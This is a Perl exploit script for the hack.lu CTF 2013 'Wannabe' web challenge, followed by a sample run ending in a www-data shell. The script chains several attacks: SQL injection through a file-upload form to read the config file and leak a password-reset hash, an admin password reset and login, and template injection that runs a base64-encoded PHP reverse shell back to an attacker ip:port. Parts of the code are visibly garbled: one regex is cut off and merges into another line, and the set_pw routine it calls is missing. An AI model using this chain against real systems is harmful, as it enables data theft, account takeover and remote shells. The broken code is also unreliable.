#!/usr/bin/env perl # fckarthurpro.pl # hack.lu CTF 2013 - Wannabe # by fbr - 20130923 =pod fbr ~/wargames/ctf/fluxfingers/chal6 % perl fckarthurpro.pl -b 31.204.153.49:23110 [*] attacking https://ctf.fluxfingers.net:1317/ [*] getting db_prefix ... success [+] db_prefix: 6karuhf843_ [*] getting reset hash ... success [+] reset hash: 89b4af732ad31b62229f3b49a8c3d3835a38 [*] setting admin pw ... success [+] login: admin:AAAAAAAAAAAAAAAAAAaa1234 [*] logging in as admin ... success [*] send magic and get a shell ... [+] connection from 149.13.33.74:55339 bash: no job control in this shell www-data@wannabe:/var/www$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data) =cut use strict; use warnings; use IO::Socket::INET; use LWP::UserAgent; use MIME::Base64; $|++; my ($dbpref, $reset, $ip, $port); my $url = 'https://ctf.fluxfingers.net:1317/'; my $pw = 'A'x18 . 'aa'. '1234'; my $ua = LWP::UserAgent->new( 'timeout' => 5, 'cookie_jar' => {}, 'ssl_opts' => { 'verify_hostname' => 0 } ); sub banner { print 'hack.lu CTF 2013 - Wannabe',$/, 'by fbr',$/,$/; } sub usage { print 'usage: fckarthurpro.pl -b ip:port', $/, ' -b - ip:port for reverse shell', $/, $/; exit; } sub get_response { my $path = shift; my $method = shift; my @data = shift; my $res; if ($method eq 'get') { $res = $ua->get($url . $path); return $res; } elsif ($method eq 'post') { $res = $ua->post($url . $path, @data); return $res; } return 0; } sub fire_sqli { my $inj = shift; my $file = shift || 'PWND'; my $sql = '1, (SELECT '. $inj . '), 0x' . unpack("H*", $file) . ', 1),(1'; my $res = $ua->post($url . '?site=bug&action=add', 'content_type' => 'form-data', 'content' => [ 'title' => 'PWND', 'rating' => $sql, 'prove' => [ undef, 'haxarthurpro.jpg', 'content' => 'fbr <3 c3' ] ] ); return $res if ($res->is_success); return 0; } sub get_file { my $file = shift; my $res = fire_sqli('0x' . unpack('H*', 'getsource'), $file); (my $id) = ($res->content =~ m#download#); $res = get_response('?site=bug&action=dl&id='. $id, 'get'); return $res->content if ($res->is_success); return 0; } sub get_dbpref { my $file = get_file('include/config.php'); return 0 unless ($file); ($dbpref) = ($file =~ m#db_prefix.* = "(.*)";#); return $dbpref if ($dbpref); return 0; } sub get_reset { my $user = shift; my $inj = 'CONCAT_WS(0x3a,0x' . unpack('H*', 'fbrhax') . ',reset) FROM ' . $dbpref . 'user WHERE name = 0x' . unpack('H*', 'guest'); my $res = get_response('?action=reset&site=lost&username=guest', 'get'); return 2 unless ($res->content =~ /email was send/); $res = fire_sqli($inj); ($reset) = ($res->content =~ /fbrhax:(.*?)content =~ /Invalid reset code/); return 1 if ($res->content =~ /password successfully reseted/); return 0; } sub login { my $res = get_response('?site=login', 'post', [ 'user' => 'admin', 'pass' => $pw ] ); return 1 if ($res->content =~ /Welcome Admin/); return 0; } sub fire_rce { my $rce = 'php -r \'$sock=fsockopen("' . $ip .'",' . $port . ');exec("/bin/bash -i <&3 >&3 2>&3 &");\''; my $b64_rce = encode_base64($rce); $b64_rce =~ s/=//g; $b64_rce =~ s/\n//g; my $sock = IO::Socket::INET->new( 'LocalPort' => $port, 'Proto' => 'TCP', 'Listen' => 1, 'Reuse' => 1, ); $sock->autoflush(1); my $res = get_response('?site=panel', 'post', [ 'title' => 'pwn', 'text' => '{{ "red: {${@system(base64_decode(' . $b64_rce . '))}}"|makestatus }}', 'password' => $pw, 'action' => 'prev' ] ); while (my $bckd = $sock->accept) { print("[+] connection from ".$bckd->peerhost.":".$bckd->peerport."\n"); if (!fork()) { close STDIN; read_write($bckd, *STDOUT); exit; } else { close STDOUT; read_write(*STDIN, $bckd); } } return 0; } sub read_write { my ($src, $dst) = @_; my $buf; while (my $rlen = sysread($src, $buf, 1024)) { my $wlen = $rlen; while ($wlen) { my $written_len = syswrite($dst, $buf); return unless $written_len; $wlen -= $written_len; } } } while ($_ = $ARGV[0]) { shift; /^-b/ && do { ($ip, $port) = split/:/,shift; }; /^-h/ && do { usage; } } die '[!] provide ip:port for shell' unless defined $ip; print '[*] attacking ', $url, $/; print '[*] getting db_prefix ... '; my $state = get_dbpref(); if (!$state) { print 'failed!', $/; die '[!] aborting for security reasons.', $/; } else { print 'success', $/; print '[+] db_prefix: ', $dbpref, $/; } print '[*] getting reset hash ... '; $state = get_reset(); if (!$state) { print 'failed!', $/; die '[!] aborting for security reasons.', $/; } elsif ($state eq 2) { print 'failed!', $/; print '[-] email password was not send', $/; die '[!] aborting for security reasons.', $/; } else { print 'success', $/; print '[+] reset hash: ', $state, $/; } print '[*] setting admin pw ... '; $state = set_pw(); if (!$state) { print 'failed!', $/; die '[!] aborting for security reasons.', $/; } elsif ($state eq 2) { print 'failed!', $/; print '[-] invalid reset code', $/; die '[!] aborting for security reasons.', $/; } else { print 'success', $/; print '[+] login: admin:', $pw, $/; } print '[*] logging in as admin ... '; $state = login(); if (!$state) { print 'failed!', $/; die '[!] aborting for security reasons.', $/; } else { print 'success', $/; } print '[*] send magic and get a shell ... ', $/; $state = fire_rce();